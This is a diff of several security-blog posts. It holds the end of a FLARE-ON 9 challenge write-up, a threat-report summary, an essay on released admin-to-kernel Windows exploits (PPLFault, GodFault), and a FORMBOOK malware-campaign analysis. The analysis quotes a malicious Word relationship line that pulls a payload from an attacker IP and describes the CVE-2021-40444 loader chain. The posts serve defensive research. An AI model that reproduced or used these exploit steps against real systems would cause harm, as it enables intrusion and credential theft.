Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).
|
||||
|
||||

|
||||
|
||||
We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.
|
||||
|
||||

|
||||
|
||||
The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.
|
||||
|
||||

|
||||
|
||||
The key can be decrypted with a little python.
|
||||
|
||||

|
||||
|
||||
And we’re one step closer.
|
||||
|
||||

|
||||
|
||||
By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!
|
||||
|
||||

|
||||
|
||||
\*_Flag: \*\_R$A_$16n1n6*15_0pp0$17e*[0f_3ncryp710n@flare-on.com](mailto:0f_3ncryp710n@flare-on.com)
|
||||
|
||||
## Challenge 10 - The Karaoke Labyrinth
|
||||
|
||||
Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.
|
||||
|
||||
## Challenge 11 - “The challenge that shall not be named”
|
||||
|
||||
> Protection, Obfuscation, Restrictions... Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.
|
||||
|
||||
### Solution
|
||||
|
||||
This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.
|
||||
|
||||

|
||||
|
||||
“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found [tools](https://github.com/extremecoders-re/pyinstxtractor) to extract python compiled in this way, and we pulled out a few python files.
|
||||
|
||||
One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.
|
||||
|
||||

|
||||
|
||||
That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.
|
||||
|
||||

|
||||
|
||||
When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.
|
||||
|
||||

|
||||
|
||||
\*_Flag: \*\_Pyth0n_Prot3ction_tuRn3d_Up_[t0_11@flare-on.com](mailto:t0_11@flare-on.com)
|
||||
|
||||
## Conclusion
|
||||
|
||||
For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.
|
||||
|
||||
For those who have waited patiently for a link to scripts, [here you go](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2d75d12507c1a14d/636e8b687c54010b136bf9ec/flare-on_9_scripts.zip).
|
||||
|
||||
#### Acknowledgements
|
||||
|
||||
We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.
|
|
@ -0,0 +1,47 @@
|
|||
---
|
||||
title: "Forecast and Recommendations: 2022 Elastic Global Threat Report"
|
||||
slug: "forecast-and-recommendations-2022-elastic-global-threat-report"
|
||||
date: "2022-11-30"
|
||||
description: "With the release of our first Global Threat Report at Elastic, customers, partners, and the security community at large are able to identify many of the focus areas our team has had over the past 12 months."
|
||||
author:
|
||||
- slug: santosh-krishnan
|
||||
image: "gtr-blog-image-720x420.jpg"
|
||||
category:
|
||||
- slug: reports
|
||||
---
|
||||
|
||||
Today, we released our first-ever [Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) at Elastic. Now, customers, partners, and the security community at large will be able to identify many of the focus areas our team has had over the past 12 months. In addition to a technical perspective, this report also brings along a series of strategic recommendations for executives and security leaders alike: a summarized, accurate perspective of where we can expect to see adversaries move over the coming months.
|
||||
|
||||
Our hope is that threat researchers and the security industry as a whole will use this report to prepare for the next set of threats and campaigns. At Elastic, we are ensuring that our customers using the Elastic Security solution are best protected from these types of threats, including endpoint and cloud capabilities for automated protection.
|
||||
|
||||
This year, our report included six key forecasts and recommendations for strategists and practitioners to stay better informed of potential directions that threat actors may focus on in 2023 and beyond. Below, we summarize the first three of our forecasts. Further details on these and our other recommendations are available in our full, [downloadable report](https://www.elastic.co/explore/security-without-limits/global-threat-report) for 2022:
|
||||
|
||||
> Adversaries will continue to abuse built-in binary proxies to evade security instrumentation.
|
||||
>
|
||||
> The use of proven adversarial tactics remains a key area of focus for observed threat groups, and this year remains no different. Hostile groups leverage legitimate, native system binaries to load malicious software — evading many detection strategies used by modern enterprises.
|
||||
>
|
||||
> With this continued focus, Elastic Security has enhanced our deep visibility and pre-built protections, including numerous rules and signatures, alongside ML models to detect these threats faster and more effectively.
|
||||
|
||||

|
||||
|
||||
> LNK and ISO payloads will replace more conventional script and document payloads.
|
||||
>
|
||||
> Adversarial behavior focuses on finding easier, more efficient pathways for attack — and this year, it is no different. System defaults have forced threat groups to pivot their strategies to leverage LNK and ISO payloads over familiar scripts and documents we have observed in the past.
|
||||
>
|
||||
> LNK and ISO files are often used to smuggle malicious software into enterprises because most security technologies don't inspect them. Elastic Security has focused on building instrumentation into our products and platform, allowing us to determine the exact mechanisms used to better build a defense against these malicious acts.
|
||||
|
||||

|
||||
|
||||
> Valid IAM accounts will continue to be a target for adversaries.
|
||||
>
|
||||
> The early stages of many attacks focus on credential theft in all forms; however, IAM and administrative credentials often remain the area of focus for many adversarial groups looking to evade detection and avoid exploitation of services.
|
||||
>
|
||||
> Understanding standard account actions and user behaviors exhibited in environments is critical to defending them, and ensuring we have a comprehensive library of detections alongside integration capabilities within the stack has provided a strong foundation in detecting threats earlier.
|
||||
|
||||

|
||||
|
||||
This is just a small introduction to the findings found in the report. Far greater detail, recommendations, and source data are available in the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report).
|
||||
|
||||
Those looking to learn more about the threats we observed and the mechanisms adversarial groups leveraged over the last year can read far more detailed information in our full report — alongside many recommendations and findings we have leveraged to help shape the strategy used within the Elastic Security solution, and future feature roadmap.
|
||||
|
||||
Feel free to check out the full [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) here.
|
|
@ -0,0 +1,75 @@
|
|||
---
|
||||
title: "Forget vulnerable drivers - Admin is all you need"
|
||||
slug: "forget-vulnerable-drivers-admin-is-all-you-need"
|
||||
date: "2023-08-25"
|
||||
description: "Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique whereby a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware."
|
||||
author:
|
||||
- slug: gabriel-landau
|
||||
image: "photo-edited-09@2x.jpg"
|
||||
category:
|
||||
- slug: perspectives
|
||||
---
|
||||
|
||||
## Introduction
|
||||
Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique wherein a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. After achieving kernel access, they may tamper with or disable security software, dump otherwise inaccessible credentials, or modify operating system behavior to hide their presence. [Joe Desimone](https://twitter.com/dez_) and I covered this in-depth, among other [kernel mode threats](https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf), at Black Hat USA 2018. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.
|
||||
|
||||
[Driver Signing Enforcement](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-) (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of [Boot Guard](https://www.intel.com/content/dam/www/central-libraries/us/en/documents/below-the-os-security-white-paper.pdf), [Secure Boot](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot), and [Trusted Boot](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot) to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits.
|
||||
|
||||
Further limiting admins' power, Microsoft recently deployed the [Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist) by default, starting in Windows 11 22H2. This is a move in the right direction, making Windows 11 more secure by default. Unfortunately, the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of “secure by default” territory.
|
||||
|
||||
## Security boundaries
|
||||
When determining which vulnerabilities to fix, the Microsoft Security Response Center ([MSRC](https://msrc.microsoft.com/)) uses the concept of a security boundary, which it [defines](https://web.archive.org/web/20230506125554/https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria) as follows:
|
||||
|
||||
> A security boundary provides a logical separation between the code and data of security domains with different levels of trust. For example, the separation between kernel mode and user mode is a classic and straightforward security boundary.
|
||||
|
||||
Based on this definition, one might be inclined to think that malware running in user mode should not be able to modify kernel memory. The boundary is “straightforward” after all. Logically, any violation of that boundary should be met with a remedial action such as a patch or blocklist update.
|
||||
|
||||
Unfortunately, the situation gets murkier from here. That document later states that administrator-to-kernel is not a security boundary, with the following explanation:
|
||||
|
||||
> Administrative processes and users are considered part of the Trusted Computing Base (TCB) for Windows and are therefore not strong [sic] isolated from the kernel boundary.
|
||||
|
||||
At this point, we have two seemingly conflicting viewpoints. On one hand, MSRC states that admin-to-kernel is an indefensible boundary and not worth fixing. On the other hand, Microsoft is attempting to defend this boundary with mechanisms such as Driver Signing Enforcement, Secure Boot, and the Vulnerable Driver Blocklist. Because the defense is incomplete, MSRC instead calls them “defense-in-depth security features.”
|
||||
|
||||
MSRC similarly does not consider admin-to-[PPL](https://www.elastic.co/blog/protecting-windows-protected-processes) a security boundary, instead classifying it as a defense-in-depth security feature. More on this in the next section.
|
||||
|
||||
The rest of this article will refer to MSRC and Microsoft separately. While MSRC is part of Microsoft, Microsoft is a much larger entity than MSRC; they shouldn't be equated.
|
||||
|
||||
## Exploiting vulnerabilities
|
||||
In September 2022, I filed VULN-074311 with MSRC, notifying them of two [zero-day](https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability) vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. I provided source code for both exploits. The response concisely indicated that they understood the vulnerabilities and declined to take any further action, as stated below:
|
||||
|
||||
> The research describes a multi-step attack that leverages a PPL bypass to gain kernel code execution. Note that all of the proposed attacks do require administrative privileges to perform and thus the reported issue does not meet our bar for immediate servicing. We do not expect any further action and will proceed with closing out the case.
|
||||
|
||||
In this parlance, “servicing” means “patching.” Their response is consistent with the aforementioned policy and their [historical treatment](https://github.com/ionescu007/r0ak/tree/919338f4e88036c6a46a3a839f409efe38852415#faq) of the admin-to-kernel boundary. Their behavior is consistent too - it's been over 11 months and they still haven't patched either vulnerability. I find it fascinating that Microsoft is willing to block drivers that can modify kernel memory but MSRC is unwilling to service vulnerabilities that can do the same.
|
||||
|
||||
When I announced my Black Hat Asia 2023 talk, [PPLdump Is Dead. Long Live PPLdump](https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052), on Twitter five months after the MSRC report, the Windows Defender team quickly reached out to learn more. It seems that MSRC closed the case without telling the Defender team, whose products rely on PPL to protect [hundreds of millions of Windows machines](https://www.ghacks.net/2019/08/03/windows-defender-has-a-market-share-of-50/), about a PPL bypass. This type of miscommunication mustn't be allowed to continue.
|
||||
|
||||
## Turnkey tooling
|
||||
[EDRSandBlast](https://github.com/wavestone-cdt/EDRSandblast) is a tool that weaponizes vulnerable drivers to bypass AV & EDR software. It can modify kernel memory to remove hooks installed by AV & EDR, temporarily or permanently blinding them to malicious activity on the system.
|
||||
|
||||
As I discussed in my Black Hat Asia talk, MSRC has de-facto shown that they are unwilling to service admin-to-PPL and admin-to-kernel vulnerabilities and that it requires the existence of [turnkey tooling](https://twitter.com/tiraniddo/status/1551966781761146880?s=20) on GitHub to motivate Microsoft to action. This led me to release the admin-to-PPL exploit [PPLFault](https://github.com/gabriellandau/PPLFault) and admin-to-kernel exploit chain [GodFault](https://github.com/gabriellandau/PPLFault#godfault) as easy-to-use tools on GitHub. For brevity, below we'll call them “PPL vulnerability” and “kernel vulnerability”, respectively.
|
||||
|
||||
In this same “turnkey tooling” spirit, to highlight the inconsistency of blocking known-vulnerable drivers while simultaneously refusing to patch admin-to-kernel exploit chains, I am [releasing](https://github.com/gabriellandau/EDRSandblast-GodFault) a version of EDRSandBlast that integrates PPLFault to demonstrate the same result, sans vulnerable drivers. You can see it [here](https://gist.github.com/gabriellandau/418cde5d194a5e7adff641f2164cd1d7#file-edrsandblast-godfault-txt-L21-L27) disabling the Windows Defender driver. My goal in releasing this is to motivate MSRC to treat both PPL and kernel vulnerabilities with greater urgency.
|
||||
|
||||
## Mitigation
|
||||
I released a small kernel driver alongside PPLFault and GodFault called [NoFault](https://github.com/gabriellandau/PPLFault/tree/7d5543eb6f9e4fd8d8380cbf358dab2f159703af/NoFault) which breaks the PPL exploit. Until Windows is fixed, anti-malware vendors can employ this code to mitigate the PPL vulnerability. We've incorporated NoFault's protection into the latest version of Elastic Endpoint/Defend - please update to 8.9.0+ if you haven't already. One comprehensive fix could be to have the memory manager enforce page hashes for all executable images loaded into PPL, a feature [already employed](https://twitter.com/DavidLinsley11/status/1190810926762450944?s=20) for full Protected Processes.
|
||||
|
||||
GodFault is not the first tool to exploit the kernel vulnerability. [ANGRYORCHARD](https://github.com/realoriginal/angryorchard) first used it with the now-patched [KnownDLLs PPL vulnerability](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html). The PPL vulnerability has since been fixed, but the kernel one was not. I was able to easily reuse the kernel vulnerability in GodFault - it's only a [few lines of code](https://github.com/gabriellandau/PPLFault/blob/da270ab29d4f02e8bd2dd525f1c85979ded3df58/GMShellcode/GMShellcode.c#L177-L192). If this is not patched, then any future PPL exploits will immediately be chainable to the kernel. Note that NoFault breaks the kernel exploit chain by preventing its requisite PPL code execution, but does not fix the kernel vulnerability itself.
|
||||
|
||||
## Discussion
|
||||
Making EDRSandBlast driverless is just one example of the things you can do with such exploits. Admin-to-kernel exploits enable a whole menu of malware capabilities that are normally impossible from user mode, including:
|
||||
|
||||
- Disable kernel mode telemetry including process, thread, object manager, filesystem, and registry callbacks. EDRSandBlast does some of these.
|
||||
- Disable kernel ETW loggers
|
||||
- Terminate and/or inject malware into [PPL anti-malware processes](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-)
|
||||
- Bypass LSA RunAsPPL to dump credentials or tamper with Credential Guard
|
||||
- Read/write the memory of shielded VM worker processes, which [run as PPL](https://learn.microsoft.com/en-us/windows-server/security/guarded-fabric-shielded-vm/guarded-fabric-and-shielded-vms#what-are-the-types-of-virtual-machines-that-a-guarded-fabric-can-run)
|
||||
- Run malware with greater privilege than anti-malware, such that it can't be scanned or terminated from user mode
|
||||
- Implement rootkit behavior such as hiding processes, files, and registry keys
|
||||
- Gain full read-write access to physical memory
|
||||
|
||||
Such kernel-driven capabilities, often enabled by BYOVD, are [regularly](https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-abuses-legit-driver-to-disable-security-products/) [used](https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html) [by](https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/) [criminals](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf) [to](https://www.bleepingcomputer.com/news/security/ransomware-gangs-abuse-process-explorer-driver-to-kill-security-software/) [defeat](https://thehackernews.com/2023/04/ransomware-hackers-using-aukill-tool-to.html) [and](https://cybernews.com/security/bring-your-own-vulnerable-driver-attack/) [degrade](https://www.techspot.com/news/95781-hackers-use-genshin-impact-anti-cheat-software-ransomware.html) [security](https://arstechnica.com/information-technology/2020/02/hackable-code-trusted-by-windows-lets-ransomware-burrow-deep-into-targeted-machines/) [products](https://www.sentinelone.com/labs/malvirt-net-virtualization-thrives-in-malvertising-attacks/), empowering them to hurt people and businesses. PPL and kernel vulnerabilities enable these same capabilities, so MSRC needs to service them proactively before threat actors abuse them, not after.
|
||||
|
||||
I don't want to understate the difficulty of the problem - defending the kernel against admins is hard and will require continual effort as new bypasses are found. It will not be solved, but rather a difficult and ongoing arms race. Fortunately, Microsoft recently adopted a new philosophy of “[no longer avoiding the hard things](https://youtu.be/8T6ClX-y2AE?t=244)” (timestamped link). Addressing these types of vulnerabilities is a “hard thing” affecting Windows security today that Microsoft can do something about while simultaneously moving towards their vision of an [Adminless future](https://www.bigtechwire.com/2023/04/20/microsoft-admin-less-support-is-coming-in-a-future-windows-release/). They're a large well-funded company filled with smart people, capable of addressing multiple issues at once.
|
||||
|
||||
## Conclusion
|
||||
Microsoft created the Vulnerable Driver Blocklist to stop admins from tampering with the kernel, but they've done nothing about an admin-to-kernel exploit chain that was reported over 11 months ago. By [removing the vulnerable driver requirement from EDRSandBlast](https://github.com/gabriellandau/EDRSandblast-GodFault) via [GodFault](https://github.com/gabriellandau/PPLFault#godfault), I hope to prove that admin-to-kernel exploits can be just as dangerous as vulnerable drivers and that MSRC needs to take them seriously. Given Windows 11's [goal of default security](https://www.youtube.com/watch?v=8T6ClX-y2AE) and the fact that the Vulnerable Driver Blocklist is now enabled by default, MSRC needs to reconsider its policy of indifference towards PPL and kernel exploits.
|
|
@ -0,0 +1,531 @@
|
|||
---
|
||||
title: "FORMBOOK Adopts CAB-less Approach"
|
||||
slug: "formbook-adopts-cab-less-approach"
|
||||
date: "2022-06-07"
|
||||
description: "Campaign research and analysis of an observed FORMBOOK intrusion attempt."
|
||||
author:
|
||||
- slug: derek-ditch
|
||||
- slug: daniel-stepanic
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "blog-security-laptop-720x420.png"
|
||||
category:
|
||||
- slug: campaigns
|
||||
tags:
|
||||
- formbook
|
||||
- malware
|
||||
- phishing
|
||||
- cve-2021-40444
|
||||
---
|
||||
|
||||
The Elastic Intelligence & Analytics team is tracking a new FORMBOOK information-stealing campaign leveraging the MSHTML remote code exploit ([CVE-2021-40444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444)). This campaign has been observed sharing infrastructure between the [Weaponization](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) phases of both the testing and production releases.
|
||||
|
||||
We have observed, and will discuss, three phases of this campaign relevant to defenders:
|
||||
|
||||
- Testing phase using CVE-2021-40444
|
||||
- Production phase using CVE-2021-40444
|
||||
- Generic phase without CVE-2021-40444
|
||||
|
||||
As of November 8, 2021, Elastic observed network infrastructure actively being used to deploy the FORMBOOK information stealer and acting as a command and control endpoint serving archives, implants, and scripts leveraged throughout the campaign variations.
|
||||
|
||||
> We wanted to call out some great adjacent research from the team as Sophoslabs Uncut that was released on December 21, 2021. Research groups frequently analyze similar, or in this case, the same campaigns through their lens. This is fantastic as it gets more eyes, from different perspectives, onto the same problem. If you're looking for more information, please check out their research over on their [blog](https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/).
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
- The speed at which vulnerability PoC’s are being released highlights the need to leverage threat hunting to identify post-exploitation events before patches can be applied
|
||||
|
||||
- A FORMBOOK campaign was observed combining infrastructure that allowed testing and production phases to be linked together
|
||||
- Patching for the MSHTML exploit appears to be effective as the campaign shifted from attempting to use the exploit to a traditional phishing malware-attachment approach
|
||||
- The campaign required a multi-process attack chain to load a DLL file onto victim systems
|
||||
|
||||
On September 7, 2021, Microsoft confirmed a [vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2021-40444) for the browser rendering engine used in several applications such as those within the Microsoft Office suite. Within three days [[1](https://twitter.com/vxunderground/status/1436326057179860992?s=20)] [[2](https://github.com/lockedbyte/CVE-2021-40444)], proof-of-concept code was released, highlighting the maturity of the exploit development ecosystem and underscoring the importance of proactive threat hunting and patch management strategies.
|
||||
|
||||
Based on telemetry, we observed this exploit used in conjunction with the FORMBOOK information stealer. We also identified an adversary tradecraft oversight that led to us connecting what appeared to be campaign testing infrastructure and a FORMBOOK phishing campaign targeting manufacturing victims with global footprints.
|
||||
|
||||
This post details the tactics, techniques, and procedures (TTPs) of this campaign. Our goal is to enable detection capabilities for security practitioners using the Elastic Stack and any readers concerned with the CVE-2021-40444 vulnerability or campaigns related to FORMBOOK.
|
||||
|
||||
## Details
|
||||
|
||||
When Microsoft disclosed a [vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2021-40444) in the browser rendering engine used by multiple Microsoft Office products, proof-of-concept code was released within three days. This allowed defenders to observe how the exploit operated and to develop countermeasures to defend their networks while patches and mitigating workarounds could be deployed [[1](https://github.com/aslitsecurity/CVE-2021-40444_builders)], [[2](https://github.com/lockedbyte/CVE-2021-40444)], [[3](https://github.com/klezVirus/CVE-2021-40444)], [[4](https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/)], [[5](https://github.com/Edubr2020/CVE-2021-40444--CABless)], [[6](https://twitter.com/vxunderground/status/1436326057179860992?s=20)].
|
||||
|
||||
Additionally, this highlights the maturity of the exploit development community — underscoring the importance of proactive measures (like network and endpoint monitoring, anti-spam/phishing countermeasures, email MIME-type attachment policies, etc.) and an exercised patch management strategy.
|
||||
|
||||
At a high level, an attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that will allow for code to be remotely executed on a victim machine. While this vulnerability is well documented, security researcher
|
||||
|
||||
We initiated several collection techniques simultaneously, including searching for malicious attachments that would be included in phishing emails — one of the most common mechanisms for distributing exploit code. We noticed that not many malicious email attachments had been reported, and by October 28, 2021, we were only able to identify four instances of this exploit leveraged with email. In addition to the four instances of the exploit, we observed the threat actor attempting to leverage a generic phishing approach with the FORMBOOK malware as an attachment.
|
||||
|
||||
The next following sections will break down these different campaign sightings and their respective details:
|
||||
|
||||
- Testing
|
||||
- Production
|
||||
- Generic
|
||||
|
||||
> Throughout the Details section, it is important to note a few things that are required for this attack chain to function, irrespective of the Testing or Production phases
|
||||
>
|
||||
> 1. A major challenge for the campaign is to get a DLL file onto the victim system
|
||||
> 2. ActiveX controls are DLL files with special constraints
|
||||
> 3. Web pages can link ActiveX controls directly or load files that are contained in a URL --- this is not recommended by Microsoft because file signatures cannot be validated
|
||||
|
||||
### Testing phase
|
||||
|
||||
The first sighting contained an email with a single attachment with a sender of admin0011[@]issratech.com. While researching that email address, we discovered this email address associated with additional malicious samples in VirusTotal. The email observed in this phase included a single attachment called Request Details.docx.
|
||||
|
||||

|
||||
|
||||
Email attachments are stored as Base64 encoded strings in the email. To extract the Request Details.docx email attachment, we can use the echo command to send the Base64 encoded string to STDOUT, pipe it to the base64 program, and save it as email-attachment so that we can analyze it.
|
||||
|
||||
```
|
||||
$ echo "UEsDBBQAAAAIAFCELVO0gTweZgEAAIgFAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLVUyWrDMBC9F/oPRtdgK+...truncated..." | base64 -D -o email-attachment
|
||||
```
|
||||
|
||||
#### Request Details.docx
|
||||
|
||||
The file command is a standard Unix and Unix-like program for identifying a file type. Running the file command, verified that this was a Microsoft Word document:
|
||||
|
||||
```
|
||||
$ file email-attachment
|
||||
email-attachment: Microsoft Word 2007+
|
||||
```
|
||||
|
||||
Microsoft Office documents, post-2007, are compressed archives. To dig into the document without opening it, you can decompress the file using the unzip command as illustrated below.
|
||||
|
||||
```
|
||||
$ unzip email-attachment
|
||||
Archive: email-attachment
|
||||
inflating: [Content_Types].xml
|
||||
inflating: docProps/app.xml
|
||||
inflating: docProps/core.xml
|
||||
inflating: word/document.xml
|
||||
inflating: word/fontTable.xml
|
||||
inflating: word/settings.xml
|
||||
inflating: word/styles.xml
|
||||
inflating: word/webSettings.xml
|
||||
inflating: word/media/image1.jpeg
|
||||
inflating: word/media/image2.wmf
|
||||
inflating: word/theme/theme1.xml
|
||||
inflating: word/_rels/document.xml.rels
|
||||
inflating: _rels/.rels
|
||||
```
|
||||
|
||||
Within the document relationship file (word/\_rels/document.xml.rels), we can view metadata about how different elements of the document are related to each other.
|
||||
|
||||
```
|
||||
$ cat word/_rels/document.xml.rels
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
...truncated...
|
||||
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
|
||||
Target="MHTML:HTTP:\\104.244.78.
|
||||
177\Pope.txt!" TargetMode="External"/>
|
||||
...truncated
|
||||
</Relationships>
|
||||
```
|
||||
|
||||
From here, we can see an externally linked MHTML OLE object inside an element using [HTML entities](https://www.w3schools.com/html/html_entities.asp), which reserve characters in HTML. HTML entities are natively not human readable, so they need to be decoded. Using the data analyzer and decoder from the United Kingdom’s Government Communications Headquarters (GCHQ), [CyberChef](https://gchq.github.io/CyberChef/), we were able to quickly decode the HTML entities with the “From HTML Entity” recipe (CyberChef recipes are pre-configured data parsers and decoders).
|
||||
|
||||
The decoded HTML entity was HTTP:\\104[.]244[.]78[.]177\Pope.txt. This provided us with another atomic indicator to add to the admin0011[@]issratech.com email address we’d previously collected, 104[.]244[.]78[.]177. Additionally, the decoded HTML entity revealed another file that could be of interest, Pope.txt.
|
||||
|
||||

|
||||
|
||||
#### Pope.txt
|
||||
|
||||
We retrieved a copy of Pope.txt from 104[.]244[.]78[.]177 and observed that it contained JavaScript code using variable renaming and string obfuscation. This JavaScript performs the following functions:
|
||||
|
||||
- Downloads a Cabinet archive file called comres.cab from the same IP address but fails to extract it
|
||||
- Creates several [ActiveX objects](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/automat/activex-objects) (which are executable applications or libraries) to be loaded into the browser rendering engine
|
||||
- Uses the CVE-2021-40444 vulnerability with the ActiveX objects to perform directory traversal and execute a file called IEcache.inf. This filename is the [DLL loader](https://github.com/aslitsecurity/CVE-2021-40444_builders/blob/main/CVE-2021-40444/IEcache.inf) from the [ASL IT Security PoC code](https://github.com/aslitsecurity/CVE-2021-40444_builders/blob/main/CVE-2021-40444/IEcache.inf) and doesn’t exist in this test run
|
||||
|
||||

|
||||
|
||||
The above figure shows the notable section of the obfuscated JavaScript code. We used a debugger to parse out the results of the lookup functions (shown commented out with //‘s). This revealed the classid (CLSID:edbc374c-5730-432a-b5b8-de94f0b57217) attribute which appears across the web in various other malware analyses of CVE-2021-40444. This suggests with moderate confidence that this JavaScript was crafted using some repurposed code that has been open-sourced. The classid attribute is used to determine if comres.cab has already been downloaded — if it has, it won’t attempt to download it again.
|
||||
|
||||
Once comres.cab is downloaded and extracted, the extracted file must be located. This is why there are multiple directory execution attempts observed in JavaScript. All the work up to this point is to get the DLL (IEcache.inf) onto the filesystem. Finally, the DLL file would be executed as a control panel file (.cpl), because control panel files can be loaded as DLLs.
|
||||
|
||||

|
||||
|
||||
#### Comres.cab and 1.doc.inf
|
||||
|
||||
In our sample, comres.cab does not include the ASL IT Security PoC DLL (IEcache.inf). It included a file called 1.doc.inf.
|
||||
|
||||
From comres.cab we used the file archive utility, 7-Zip, to extract 1.doc.inf. This file is interesting because it has the .inf ([setup information file](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/overview-of-inf-files)) extension, but in using the file command, we can see that it is actually a DLL file, meaning that the file type is being obfuscated.
|
||||
|
||||
```
|
||||
$ 7z e comres.cab
|
||||
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
|
||||
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
|
||||
Scanning the drive for archives:
|
||||
1 file, 6060053 bytes (5919 KiB)
|
||||
Extracting archive: comres.cab
|
||||
--
|
||||
Path = comres.cab
|
||||
Type = Cab
|
||||
Physical Size = 6060053
|
||||
Method = None
|
||||
Blocks = 1
|
||||
Volumes = 1
|
||||
Volume Index = 0
|
||||
ID = 1234
|
||||
Everything is Ok
|
||||
Size: 4465152
|
||||
Compressed: 6060053
|
||||
|
||||
$ file 1.doc.inf
|
||||
1.doc.inf: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
|
||||
```
|
||||
|
||||
When analyzing the [import address table](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-address-table) (IAT) of 1.doc.inf, we observed multiple API functions, which would allow the file to download and execute additional files. Of particular note were the ShellExecuteExA and URLDownloadToFileW API functions.
|
||||
|
||||
```
|
||||
=== IMPORTS ===
|
||||
MODULE_NAME HINT ORD FUNCTION_NAME
|
||||
bcrypt.dll 0 BCryptSetProperty
|
||||
0 GetKeyState
|
||||
ADVAPI32.dll 0 RegDeleteKeyW
|
||||
SHELL32.dll 0 ShellExecuteExA
|
||||
urlmon.dll 0 URLDownloadToFileW
|
||||
WS2_32.dll 9
|
||||
ole32.dll 0 CoInitializeSecurity
|
||||
NETAPI32.dll 0 NetLocalGroupAddMembers
|
||||
OLEAUT32.dll 8
|
||||
PSAPI.DLL 0 GetModuleFileNameExW
|
||||
0 WTSSendMessageW
|
||||
0 GetProcessWindowStation
|
||||
0 LocalAlloc
|
||||
0 GetModuleFileNameW
|
||||
0 GetProcessAffinityMask
|
||||
0 SetProcessAffinityMask
|
||||
0 SetThreadAffinityMask
|
||||
